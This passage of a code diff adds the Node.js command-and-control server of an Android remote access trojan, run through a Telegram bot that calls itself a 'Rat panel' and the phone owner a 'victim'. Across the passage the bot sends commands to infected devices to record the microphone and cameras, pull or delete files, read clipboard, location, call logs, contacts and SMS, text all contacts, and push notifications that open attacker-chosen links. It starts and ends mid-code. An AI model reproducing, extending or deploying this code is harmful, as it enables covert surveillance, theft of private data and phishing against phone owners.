+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙥𝙖𝙩𝙝 𝙤𝙛 𝙩𝙝𝙚 𝙛𝙞𝙡𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙙𝙚𝙡𝙚𝙩𝙚')) {
+ const path = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`delete_file:${path}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙢𝙞𝙘𝙧𝙤𝙥𝙝𝙤𝙣𝙚 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙')) {
+ const duration = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`microphone:${duration}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙢𝙖𝙞𝙣 𝙘𝙖𝙢𝙚𝙧𝙖 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙')) {
+ const duration = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`rec_camera_main:${duration}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙝𝙤𝙬 𝙡𝙤𝙣𝙜 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙝𝙚 𝙨𝙚𝙡𝙛𝙞𝙚 𝙘𝙖𝙢𝙚𝙧𝙖 𝙩𝙤 𝙗𝙚 𝙧𝙚𝙘𝙤𝙧𝙙𝙚𝙙')) {
+ const duration = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`rec_camera_selfie:${duration}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙩𝙝𝙖𝙩 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙤𝙣 𝙩𝙝𝙚 𝙩𝙖𝙧𝙜𝙚𝙩 𝙙𝙚𝙫𝙞𝙘𝙚')) {
+ const toastMessage = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`toast:${toastMessage}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙖𝙥𝙥𝙚𝙖𝙧 𝙖𝙨 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣')) {
+ const notificationMessage = message.text
+ currentTitle = notificationMessage
+ appBot.sendMessage(id,
+ '°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙗𝙚 𝙤𝙥𝙚𝙣𝙚𝙙 𝙗𝙮 𝙩𝙝𝙚 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣\n\n' +
+ '• ᴡʜᴇɴ ᴛʜᴇ ᴠɪᴄᴛɪᴍ ᴄʟɪᴄᴋꜱ ᴏɴ ᴛʜᴇ ɴᴏᴛɪꜰɪᴄᴀᴛɪᴏɴ, ᴛʜᴇ ʟɪɴᴋ ʏᴏᴜ ᴀʀᴇ ᴇɴᴛᴇʀɪɴɢ ᴡɪʟʟ ʙᴇ ᴏᴘᴇɴᴇᴅ',
+ {reply_markup: {force_reply: true}}
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙂𝙧𝙚𝙖𝙩, 𝙣𝙤𝙬 𝙚𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙗𝙚 𝙤𝙥𝙚𝙣𝙚𝙙 𝙗𝙮 𝙩𝙝𝙚 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣')) {
+ const link = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`show_notification:${currentTitle}/${link}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.reply_to_message.text.includes('°• 𝙀𝙣𝙩𝙚𝙧 𝙩𝙝𝙚 𝙖𝙪𝙙𝙞𝙤 𝙡𝙞𝙣𝙠 𝙮𝙤𝙪 𝙬𝙖𝙣𝙩 𝙩𝙤 𝙥𝙡𝙖𝙮')) {
+ const audioLink = message.text
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == currentUuid) {
+ ws.send(`play_audio:${audioLink}`)
+ }
+ });
+ currentUuid = ''
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ }
+ if (id == chatId) {
+ if (message.text == '/start') {
+ appBot.sendMessage(id,
+ '°• 𝙒𝙚𝙡𝙘𝙤𝙢𝙚 𝙩𝙤 𝙍𝙖𝙩 𝙥𝙖𝙣𝙚𝙡\n\n' +
+ '• ɪꜰ ᴛʜᴇ ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪꜱ ɪɴꜱᴛᴀʟʟᴇᴅ ᴏɴ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ, ᴡᴀɪᴛ ꜰᴏʀ ᴛʜᴇ ᴄᴏɴɴᴇᴄᴛɪᴏɴ\n\n' +
+ '• ᴡʜᴇɴ ʏᴏᴜ ʀᴇᴄᴇɪᴠᴇ ᴛʜᴇ ᴄᴏɴɴᴇᴄᴛɪᴏɴ ᴍᴇꜱꜱᴀɢᴇ, ɪᴛ ᴍᴇᴀɴꜱ ᴛʜᴀᴛ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ ɪꜱ ᴄᴏɴɴᴇᴄᴛᴇᴅ ᴀɴᴅ ʀᴇᴀᴅʏ ᴛᴏ ʀᴇᴄᴇɪᴠᴇ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ\n\n' +
+ '• ᴄʟɪᴄᴋ ᴏɴ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅ ʙᴜᴛᴛᴏɴ ᴀɴᴅ ꜱᴇʟᴇᴄᴛ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴅᴇᴠɪᴄᴇ ᴛʜᴇɴ ꜱᴇʟᴇᴄᴛ ᴛʜᴇ ᴅᴇꜱɪʀᴇᴅ ᴄᴏᴍᴍᴀɴᴅ ᴀᴍᴏɴɢ ᴛʜᴇ ᴄᴏᴍᴍᴀɴᴅꜱ\n\n' +
+ '• ɪꜰ ʏᴏᴜ ɢᴇᴛ ꜱᴛᴜᴄᴋ ꜱᴏᴍᴇᴡʜᴇʀᴇ ɪɴ ᴛʜᴇ ʙᴏᴛ, ꜱᴇɴᴅ /start ᴄᴏᴍᴍᴀɴᴅ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (message.text == '𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨') {
+ if (appClients.size == 0) {
+ appBot.sendMessage(id,
+ '°• 𝙉𝙤 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙞𝙣𝙜 𝙙𝙚𝙫𝙞𝙘𝙚𝙨 𝙖𝙫𝙖𝙞𝙡𝙖𝙗𝙡𝙚\n\n' +
+ '• ᴍᴀᴋᴇ ꜱᴜʀᴇ ᴛʜᴇ ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪꜱ ɪɴꜱᴛᴀʟʟᴇᴅ ᴏɴ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ'
+ )
+ } else {
+ let text = '°• 𝙇𝙞𝙨𝙩 𝙤𝙛 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨 :\n\n'
+ appClients.forEach(function (value, key, map) {
+ text += `• ᴅᴇᴠɪᴄᴇ ᴍᴏᴅᴇʟ : ${value.model}\n` +
+ `• ʙᴀᴛᴛᴇʀʏ : ${value.battery}\n` +
+ `• ᴀɴᴅʀᴏɪᴅ ᴠᴇʀꜱɪᴏɴ : ${value.version}\n` +
+ `• ꜱᴄʀᴇᴇɴ ʙʀɪɢʜᴛɴᴇꜱꜱ : ${value.brightness}\n` +
+ `• ᴘʀᴏᴠɪᴅᴇʀ : ${value.provider}\n\n`
+ })
+ appBot.sendMessage(id, text, {parse_mode: "HTML"})
+ }
+ }
+ if (message.text == '𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙') {
+ if (appClients.size == 0) {
+ appBot.sendMessage(id,
+ '°• 𝙉𝙤 𝙘𝙤𝙣𝙣𝙚𝙘𝙩𝙞𝙣𝙜 𝙙𝙚𝙫𝙞𝙘𝙚𝙨 𝙖𝙫𝙖𝙞𝙡𝙖𝙗𝙡𝙚\n\n' +
+ '• ᴍᴀᴋᴇ ꜱᴜʀᴇ ᴛʜᴇ ᴀᴘᴘʟɪᴄᴀᴛɪᴏɴ ɪꜱ ɪɴꜱᴛᴀʟʟᴇᴅ ᴏɴ ᴛʜᴇ ᴛᴀʀɢᴇᴛ ᴅᴇᴠɪᴄᴇ'
+ )
+ } else {
+ const deviceListKeyboard = []
+ appClients.forEach(function (value, key, map) {
+ deviceListKeyboard.push([{
+ text: value.model,
+ callback_data: 'device:' + key
+ }])
+ })
+ appBot.sendMessage(id, '°• 𝙎𝙚𝙡𝙚𝙘𝙩 𝙙𝙚𝙫𝙞𝙘𝙚 𝙩𝙤 𝙚𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙚𝙣𝙙', {
+ "reply_markup": {
+ "inline_keyboard": deviceListKeyboard,
+ },
+ })
+ }
+ }
+ } else {
+ appBot.sendMessage(id, '°• 𝙋𝙚𝙧𝙢𝙞𝙨𝙨𝙞𝙤𝙣 𝙙𝙚𝙣𝙞𝙚𝙙')
+ }
+})
+appBot.on("callback_query", (callbackQuery) => {
+ const msg = callbackQuery.message;
+ const data = callbackQuery.data
+ const commend = data.split(':')[0]
+ const uuid = data.split(':')[1]
+ console.log(uuid)
+ if (commend == 'device') {
+ appBot.editMessageText(`°• 𝙎𝙚𝙡𝙚𝙘𝙩 𝙘𝙤𝙢𝙢𝙚𝙣𝙙 𝙛𝙤𝙧 𝙙𝙚𝙫𝙞𝙘𝙚 : ${appClients.get(data.split(':')[1]).model}`, {
+ width: 10000,
+ chat_id: id,
+ message_id: msg.message_id,
+ reply_markup: {
+ inline_keyboard: [
+ [
+ {text: '𝘼𝙥𝙥𝙨', callback_data: `apps:${uuid}`},
+ {text: '𝘿𝙚𝙫𝙞𝙘𝙚 𝙞𝙣𝙛𝙤', callback_data: `device_info:${uuid}`}
+ ],
+ [
+ {text: '𝙂𝙚𝙩 𝙛𝙞𝙡𝙚', callback_data: `file:${uuid}`},
+ {text: '𝘿𝙚𝙡𝙚𝙩𝙚 𝙛𝙞𝙡𝙚', callback_data: `delete_file:${uuid}`}
+ ],
+ [
+ {text: '𝘾𝙡𝙞𝙥𝙗𝙤𝙖𝙧𝙙', callback_data: `clipboard:${uuid}`},
+ {text: '𝙈𝙞𝙘𝙧𝙤𝙥𝙝𝙤𝙣𝙚', callback_data: `microphone:${uuid}`},
+ ],
+ [
+ {text: '𝙈𝙖𝙞𝙣 𝙘𝙖𝙢𝙚𝙧𝙖', callback_data: `camera_main:${uuid}`},
+ {text: '𝙎𝙚𝙡𝙛𝙞𝙚 𝙘𝙖𝙢𝙚𝙧𝙖', callback_data: `camera_selfie:${uuid}`}
+ ],
+ [
+ {text: '𝙇𝙤𝙘𝙖𝙩𝙞𝙤𝙣', callback_data: `location:${uuid}`},
+ {text: '𝙏𝙤𝙖𝙨𝙩', callback_data: `toast:${uuid}`}
+ ],
+ [
+ {text: '𝘾𝙖𝙡𝙡𝙨', callback_data: `calls:${uuid}`},
+ {text: '𝘾𝙤𝙣𝙩𝙖𝙘𝙩𝙨', callback_data: `contacts:${uuid}`}
+ ],
+ [
+ {text: '𝙑𝙞𝙗𝙧𝙖𝙩𝙚', callback_data: `vibrate:${uuid}`},
+ {text: '𝙎𝙝𝙤𝙬 𝙣𝙤𝙩𝙞𝙛𝙞𝙘𝙖𝙩𝙞𝙤𝙣', callback_data: `show_notification:${uuid}`}
+ ],
+ [
+ {text: '𝙈𝙚𝙨𝙨𝙖𝙜𝙚𝙨', callback_data: `messages:${uuid}`},
+ {text: '𝙎𝙚𝙣𝙙 𝙢𝙚𝙨𝙨𝙖𝙜𝙚', callback_data: `send_message:${uuid}`}
+ ],
+ [
+ {text: '𝙋𝙡𝙖𝙮 𝙖𝙪𝙙𝙞𝙤', callback_data: `play_audio:${uuid}`},
+ {text: '𝙎𝙩𝙤𝙥 𝙖𝙪𝙙𝙞𝙤', callback_data: `stop_audio:${uuid}`},
+ ],
+ [
+ {
+ text: '𝙎𝙚𝙣𝙙 𝙢𝙚𝙨𝙨𝙖𝙜𝙚 𝙩𝙤 𝙖𝙡𝙡 𝙘𝙤𝙣𝙩𝙖𝙘𝙩𝙨',
+ callback_data: `send_message_to_all:${uuid}`
+ }
+ ],
+ ]
+ },
+ parse_mode: "HTML"
+ })
+ }
+ if (commend == 'calls') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('calls');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'contacts') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('contacts');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'messages') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('messages');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'apps') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('apps');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'device_info') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('device_info');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'clipboard') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('clipboard');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'camera_main') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('camera_main');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
+ '°• 𝙔𝙤𝙪𝙧 𝙧𝙚𝙦𝙪𝙚𝙨𝙩 𝙞𝙨 𝙤𝙣 𝙥𝙧𝙤𝙘𝙚𝙨𝙨\n\n' +
+ '• ʏᴏᴜ ᴡɪʟʟ ʀᴇᴄᴇɪᴠᴇ ᴀ ʀᴇꜱᴘᴏɴꜱᴇ ɪɴ ᴛʜᴇ ɴᴇxᴛ ꜰᴇᴡ ᴍᴏᴍᴇɴᴛꜱ',
+ {
+ parse_mode: "HTML",
+ "reply_markup": {
+ "keyboard": [["𝘾𝙤𝙣𝙣𝙚𝙘𝙩𝙚𝙙 𝙙𝙚𝙫𝙞𝙘𝙚𝙨"], ["𝙀𝙭𝙚𝙘𝙪𝙩𝙚 𝙘𝙤𝙢𝙢𝙖𝙣𝙙"]],
+ 'resize_keyboard': true
+ }
+ }
+ )
+ }
+ if (commend == 'camera_selfie') {
+ appSocket.clients.forEach(function each(ws) {
+ if (ws.uuid == uuid) {
+ ws.send('camera_selfie');
+ }
+ });
+ appBot.deleteMessage(id, msg.message_id)
+ appBot.sendMessage(id,
